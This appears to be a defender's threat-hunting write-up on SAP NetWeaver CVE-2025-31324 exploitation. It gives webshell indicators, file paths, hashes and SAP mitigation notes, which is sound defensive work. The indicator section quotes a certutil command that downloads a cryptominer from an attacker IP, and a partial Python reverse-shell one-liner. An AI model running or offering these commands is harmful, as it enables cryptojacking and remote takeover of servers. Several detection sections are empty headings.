Hunter-Case-04 - SAP Netweaver CVE-2025-31324 - Webserver Webshells
- Webshell Activity, XMRig Cryptominer and Ransomware
1.) Information
Hunter Blue's day started with a lot of interesting Cases on 3 different customer EDR/XDR Sensor environments to be able to compare which Systems detected this current vulnerability infection in early stages.
Devices alerted in SOC Department which we also hunt through our monthly Threat Hunting Service.
Threat actors involved in cryptomining malware or Ransomware infection distribution leverage quite curious techniques.
It abuses SAP Netweaver Public available intances to run a cryptominer, webshell or ransomware.
The Attackchain was only partly prevented by XDR Systems andthere are some essential things you should know how to investigate the right way.
You should investigate the initial Entry and Execution to search through the logs with these IoCs / IoAs to find the right artifacts for Threat Hunting.
1.1) Information Links and Research
Affected Component: The vulnerability exists in the SAP Visual Composer component for SAP NetWeaver 7.xx (all SPS), specifically within the “developmentserver” part of the application. This component is part of the SAP NetWeaver Java stack. While not installed by default, it is widely enabled across existing SAP NetWeaver Application Server Java systems due to its broad usefulness in assisting business process specialists with developing business components without the use of coding.
Root Cause: The fundamental issue is an Improper authentication and authorization check in the application. This means the Metadata Uploader is not protected when an unauthenticated user wants to leverage some of its functionality.
Vulnerability Type: As the vulnerability relies on the fact that no authentication is enforced when accessing certain privileged functionality, the type of vulnerability can be associated with CWE ID: CWE-862 Missing Authorization or CWE-306: Missing Authentication for Critical Function.
Criticality: The vulnerability has been graded with a CVSS of 10, since it allows for a full system compromise, if successfully exploited.
Exploitation Method: The vulnerability is exploitable through HTTP/HTTPS, potentially over the Internet. Attackers target the /developmentserver/metadatauploader URL by sending carefully crafted POST requests.
Authentication Requirement: No authentication is required to exploit it, allowing unauthenticated agent or unauthenticated threat actors to interact with the vulnerable component.
Technical Impact: The exploitation allows arbitrary file upload. Threat actors can upload potentially malicious code files, most commonly webshells. Examples of filenames observed include “helper.jsp” and “cache.jsp”.
2.) Indicators of Compromise
2.1) Indicators of Compromise Webshell
SAP has provided guidance on determining if systems have already been compromised in.SAP Note #3596125 – this note details the following steps:
Check the root of the following OS directories for the presence of ‘jsp’, ‘java’, or ‘class’ files.
C:\usr\sap\<SID>\<InstanceID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\root
C:\usr\sap\<SID>\<InstanceID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\work
C:\usr\sap\<SID>\<InstanceID>\j2ee\cluster\apps\sap.com\irj\servlet_jsp\irj\work\sync
The presence of these files is an indication an attacker has leveraged the vulnerability to upload arbitrary files. The system should be considered compromised and the appropriate incident response plan should be followed.
The following image illustrates a potential review of a given SAP Application:
[root@sapserver irj]# pwd /usr/sap/<SID>/<INSTANCE>/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj [root@sapserver irj]# find . -type f -name “*.jsp” -ls [root@sapserver irj]# find . -type f -name “*.java” -ls [root@sapserver irj]# find . -type f -name “*.class” -ls
Observed Tactics
Different tactics have been observed by the Onapsis Research Labs, mapped to the MITRE ATT&CK Framework:
T1190 (Exploit Public-Facing Application)
T1505.003 (Server Software Component: Web Shell)
Additionally, the ReliaQuest research team provided the following IOCs to search across SAP Applications:
Helper.jsp webshell: 1f72bd2643995fab4ecf7150b6367fa1b3fab17afd2abed30a98f075e4913087
Cache.jsp webshell: 794cb0a92f51e1387a6b316b8b5ff83d33a51ecf9bf7cc8e88a619ecb64f1dcf
Random 8-character names ([a-z]{8}).jsp b3e4c4018f2d18ec93a62f59b5f7341321aff70d08812a4839b762ad3ade74ee
Any files with .jsp, .class or .java extensions within the following directories should be considered malicious
/usr/sap/<SID>/<InstanceID>/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/root
/usr/sap/<SID>/<InstanceID>/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/work
/usr/sap/<SID>/<InstanceID>/j2ee/cluster/apps/sap.com/irj/servlet_jsp/irj/work/sync
2.2) XMRig Cryptominer Download to Public directory
certutil -urlcache -split -f http://23.95.123[.]5:666/xmrigCCall/s.exe C:\Users\Public\s.exe
2.3) Python Reverseshell connection
⤷ /bin/sh -c cd ";pwd;echo ";python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("u<redac>......com",443));[os.dup2(s.fileno(),f)
3.) Initial Access
3.1) Infection execution commands

4.) Finding through Threat Hunting
We hunted through the Datalake logs in the whole infrastructure and, yes you guess it right, we found the early stage in this attack chain on hosts executing the malicious file.
5.) Mitigation
SAP has released the following notes to help customers protect themselves from this active threat:
SAP Security Note #3594142 – Provides the hot fix support packages to help patch the vulnerability. Also points to SAP Note #3596125 and initial manual actions to identify evidence of prior exposure
SAP Note #3596125 – FAQ for Security Note #3594142. Please note that this document is evolving, and SAP continues to update and evolve this FAQ and guidance.
SAP Note #3593336 – Provides workaround mitigation steps for customers that cannot apply the patch
6.) Detection and Hunting
6.1) Sigma Rules
6.2) Linux Commandline Hunting
6.3) Hunting Queries Microsoft Defender XDR
6.4) Hunting Queries Palo Cortex XDR
6.5) Hunting Queries Tanium EDR
7.) Conclusion and Learning for a Hunter Blue
The XDR System prevented the Malware Cryptominer Stageing on these Devices but its definitely necessary to check during Hunting or Initial Triage how Malware was staged
-> showcasing how fruitful Compromise Assessment Webshell Hunting and Time Line Analysis can be and should be used in such cases -> it is essential.
Last updated